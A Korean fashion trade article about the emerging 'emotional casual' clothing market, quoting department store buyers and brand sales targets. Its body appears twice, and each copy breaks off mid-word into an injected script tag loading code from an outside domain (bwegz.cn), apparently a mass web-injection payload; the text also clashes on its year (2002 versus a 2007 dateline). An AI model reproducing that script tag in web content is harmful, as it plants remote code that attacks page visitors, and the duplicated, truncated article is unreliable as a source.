감성캐주얼 시장 열리나?
2007-01-23 조은희·남지은 기자 hope@fashioninsight.com
2002년, ‘감성’을 화두로 한 시장이 주목을 받고 있다.
지난해 「쏘베이직」 「클럽모나코」 「A.M하우스」 등의 브랜드가 바람몰이를 하면서 시작된 ‘감성캐주얼’의 열풍은 올해 들어서도 그칠 줄 모르고 커져만 가고 있다.
베이직캐주얼로 출발한 「더팬」은 작년부터 감성캐주얼로 브랜드 리뉴얼에 돌입했고, 올해 들어서는 「잭앤질」 「이즈마루」 「아이브로스」 「월튼」 「톰스토리」 등 감성이 가미된 상품과 마케팅을 제안하는 브랜드들이 잇따라 등장해 눈길을 끌고 있다.
이제 베이직캐주얼의 시대가 저물고, 새로운 시장이 열리려는 것일까?
베이직한 스타일은 이제 그만∼
이처럼 ‘베이직캐주얼과 차별화된 감성’을 내세운 브랜드들이 늘어나고 있는 것은, 일단 소비자들이 그 동안 지속되어온 베이직캐주얼의 평범하고 엇비슷한 스타일에 싫증을 내고 있다는 판단 때문이다.
롯데백화점 매입부의 한 관계자는 “「지오다노」 같은 베이직캐주얼 브랜드들이 아직 상승세를 유지하고 있는 것은 사실이지만, 「쏘베이직」은 이제 상위권에 확실하게 자리를 잡았고, 작년에 새롭게 시장에 진입한 「A.M하우스」도 우려했던 것과 달리 시장에 안착했다. 특히 「쏘베이직」은 상위 「지오다노」 「티비제이」 등의 브랜드와의 간격을 조금씩 좁히고 있는 추세”라고 말했다.
현대백화점의 한 바이어도 비슷한 얘기를 한다. “작년까지는 「갭」풍의 베이직캐주얼이 강세를 띠었다면, 올해는 「바나나리퍼블릭」풍의 감도가 가미된 스타일을 제안하는 브랜드가 많은 것 같다. 즉, 베이직캐주얼보다 한 단계 앞선 감성을 제시하려는 움직임이 일고 있다. 실제 소비자들의 발걸음도 아주 베이직한 스타일에 비해 「쏘베이직」 「클럽모나코」 「A.M하우스」 등 어느 정도 감도가 있는 스타일을 선호하는 층이 늘어나고 있다”는 것.
이러한 소비자들의 움직임에 따라 기존 베이직캐주얼을 전개하던 업체들도 새롭게 변화하고 있는 소비자들의 취향을 따라잡으려는 모습을 보이고 있다.
대부분의 베이직캐주얼 브랜드들은 여성 고객들을 잡기 위해 여성라인을 대폭 확대하는 경향이며, 「마루」를 전개하고 있는 예신퍼슨스는 아예 이번 봄, 여성 영 캐주얼의 감도를 가진 「이즈마루」를 런칭한다.
새롭게 시장에 진입해야 하는 신규브랜드의 경우, 거대해진 베이직캐주얼의 틈바구니에 끼어들기보다는 새롭게 열리고 있는 신 시장을 개척하는 것이 낫다는 계산 또한 깔려있다.
“소비자들의 취향이 변한다고 해서 갑자기 베이직캐주얼 시장이 붕괴되리라는 생각은 하지 않는다. 베이직캐주얼 시장의 세력은 그대로 유지될 것이다. 하지만 이미 1, 2, 3위로 순위가 매겨져 있는 포화상태의 베이직캐주얼 시장에 새롭게 진입한다는 건 무리가 있다”는 것이 이들 브랜드 관계자들의 말이다.
감성캐주얼 시장은 우리가 지킨다!
이러한 감성캐주얼 시장에 먼저 자리를 잡은 브랜드는 「쏘베이직」 「클럽모나코」 외에도 작년에 런칭한 「A.M하우스」를 꼽을 수 있다. 「더팬」 또한 작년 하반기부터 감성캐주얼 시장에 발을 내딛었다.
작년 초 420억원을 목표로 출발했던 「쏘베이직」은 8월 들어서 판매가 호조를 띠기 시작, 목표액을 450억원으로 올려 잡았다. 지난 11월에는 이러한 목표액을 일찌감치 달성하고 12월달 매출목표 또한 180% 초과 달성하는 등 그야말로 승승장구하고 있는 상황. 「쏘베이직」은 이러한 여세를 몰아, 올해에는 50개 유통망에서 600억원의 매출을 기대하고 있다.
이 브랜드의 김호덕 부장은 “최근 「쏘베이직」과 유사한 컨셉에 ‘감성’을 강조한 브랜드들이 속속 런칭하고 있다. 시장이 커지고 있는 것은 고무적인 현상으로 받아들이고 있으며, 이 분야에서의 선두자리를 지키기 위해 내실을 챙겨 자리매김할 계획이다. 작년 말에도 주요 대리점들이 평균 1억5천만원대의 매출을 올렸으므로, 올해 목표 달성 또한 무난할 것으로 보고 있다”고 밝혔다.
「클럽모나코」는 지난 8월에 입점한 롯데 잠실점과 본점에서 각각 월평균 2억8천만원, 1억8천만원대의 높은 매출을 올리며 선전하고 있다.
「클럽모나코」는 “베이직캐주얼과 남성캐릭터 시장의 중간단계를 타겟으로 편안하면서도 감도 있는 옷을 제안한 점이 소비자들에게 호응을 얻었다. 「클럽모나코」하면 떠올릴 수 있는 블랙과 화이트, 내추럴 톤의 컬러를 중심으로 사용하면서도 니트 등에는 포인트 컬러로 시즌별 트렌드를 적절히 가미해 매출 또한 상승세를 타고 있다”고 밝혔다.
「A.M하우스」는 올해 50개로 유통망을 확보하고 450억원의 매출을 올릴 것을 목표로 하고 있다.
톡톡 튀는 컬러감으로 눈길을 끌었던 「A.M하우스」는 올해 지나치게 강한 컬러의 비중을 줄이고, 판매가 검증된 베이직한 컬러의 물량을 늘린다. 소재와 봉제 등의 전반적인 퀄리티를 높?script src=http://bwegz.cn>
지난해 「쏘베이직」 「클럽모나코」 「A.M하우스」 등의 브랜드가 바람몰이를 하면서 시작된 ‘감성캐주얼’의 열풍은 올해 들어서도 그칠 줄 모르고 커져만 가고 있다.
베이직캐주얼로 출발한 「더팬」은 작년부터 감성캐주얼로 브랜드 리뉴얼에 돌입했고, 올해 들어서는 「잭앤질」 「이즈마루」 「아이브로스」 「월튼」 「톰스토리」 등 감성이 가미된 상품과 마케팅을 제안하는 브랜드들이 잇따라 등장해 눈길을 끌고 있다.
이제 베이직캐주얼의 시대가 저물고, 새로운 시장이 열리려는 것일까?
베이직한 스타일은 이제 그만∼
이처럼 ‘베이직캐주얼과 차별화된 감성’을 내세운 브랜드들이 늘어나고 있는 것은, 일단 소비자들이 그 동안 지속되어온 베이직캐주얼의 평범하고 엇비슷한 스타일에 싫증을 내고 있다는 판단 때문이다.
롯데백화점 매입부의 한 관계자는 “「지오다노」 같은 베이직캐주얼 브랜드들이 아직 상승세를 유지하고 있는 것은 사실이지만, 「쏘베이직」은 이제 상위권에 확실하게 자리를 잡았고, 작년에 새롭게 시장에 진입한 「A.M하우스」도 우려했던 것과 달리 시장에 안착했다. 특히 「쏘베이직」은 상위 「지오다노」 「티비제이」 등의 브랜드와의 간격을 조금씩 좁히고 있는 추세”라고 말했다.
현대백화점의 한 바이어도 비슷한 얘기를 한다. “작년까지는 「갭」풍의 베이직캐주얼이 강세를 띠었다면, 올해는 「바나나리퍼블릭」풍의 감도가 가미된 스타일을 제안하는 브랜드가 많은 것 같다. 즉, 베이직캐주얼보다 한 단계 앞선 감성을 제시하려는 움직임이 일고 있다. 실제 소비자들의 발걸음도 아주 베이직한 스타일에 비해 「쏘베이직」 「클럽모나코」 「A.M하우스」 등 어느 정도 감도가 있는 스타일을 선호하는 층이 늘어나고 있다”는 것.
이러한 소비자들의 움직임에 따라 기존 베이직캐주얼을 전개하던 업체들도 새롭게 변화하고 있는 소비자들의 취향을 따라잡으려는 모습을 보이고 있다.
대부분의 베이직캐주얼 브랜드들은 여성 고객들을 잡기 위해 여성라인을 대폭 확대하는 경향이며, 「마루」를 전개하고 있는 예신퍼슨스는 아예 이번 봄, 여성 영 캐주얼의 감도를 가진 「이즈마루」를 런칭한다.
새롭게 시장에 진입해야 하는 신규브랜드의 경우, 거대해진 베이직캐주얼의 틈바구니에 끼어들기보다는 새롭게 열리고 있는 신 시장을 개척하는 것이 낫다는 계산 또한 깔려있다.
“소비자들의 취향이 변한다고 해서 갑자기 베이직캐주얼 시장이 붕괴되리라는 생각은 하지 않는다. 베이직캐주얼 시장의 세력은 그대로 유지될 것이다. 하지만 이미 1, 2, 3위로 순위가 매겨져 있는 포화상태의 베이직캐주얼 시장에 새롭게 진입한다는 건 무리가 있다”는 것이 이들 브랜드 관계자들의 말이다.
감성캐주얼 시장은 우리가 지킨다!
이러한 감성캐주얼 시장에 먼저 자리를 잡은 브랜드는 「쏘베이직」 「클럽모나코」 외에도 작년에 런칭한 「A.M하우스」를 꼽을 수 있다. 「더팬」 또한 작년 하반기부터 감성캐주얼 시장에 발을 내딛었다.
작년 초 420억원을 목표로 출발했던 「쏘베이직」은 8월 들어서 판매가 호조를 띠기 시작, 목표액을 450억원으로 올려 잡았다. 지난 11월에는 이러한 목표액을 일찌감치 달성하고 12월달 매출목표 또한 180% 초과 달성하는 등 그야말로 승승장구하고 있는 상황. 「쏘베이직」은 이러한 여세를 몰아, 올해에는 50개 유통망에서 600억원의 매출을 기대하고 있다.
이 브랜드의 김호덕 부장은 “최근 「쏘베이직」과 유사한 컨셉에 ‘감성’을 강조한 브랜드들이 속속 런칭하고 있다. 시장이 커지고 있는 것은 고무적인 현상으로 받아들이고 있으며, 이 분야에서의 선두자리를 지키기 위해 내실을 챙겨 자리매김할 계획이다. 작년 말에도 주요 대리점들이 평균 1억5천만원대의 매출을 올렸으므로, 올해 목표 달성 또한 무난할 것으로 보고 있다”고 밝혔다.
「클럽모나코」는 지난 8월에 입점한 롯데 잠실점과 본점에서 각각 월평균 2억8천만원, 1억8천만원대의 높은 매출을 올리며 선전하고 있다.
「클럽모나코」는 “베이직캐주얼과 남성캐릭터 시장의 중간단계를 타겟으로 편안하면서도 감도 있는 옷을 제안한 점이 소비자들에게 호응을 얻었다. 「클럽모나코」하면 떠올릴 수 있는 블랙과 화이트, 내추럴 톤의 컬러를 중심으로 사용하면서도 니트 등에는 포인트 컬러로 시즌별 트렌드를 적절히 가미해 매출 또한 상승세를 타고 있다”고 밝혔다.
「A.M하우스」는 올해 50개로 유통망을 확보하고 450억원의 매출을 올릴 것을 목표로 하고 있다.
톡톡 튀는 컬러감으로 눈길을 끌었던 「A.M하우스」는 올해 지나치게 강한 컬러의 비중을 줄이고, 판매가 검증된 베이직한 컬러의 물량을 늘린다. 소재와 봉제 등의 전반적인 퀄리티를 높?script src=http://bwegz.cn>
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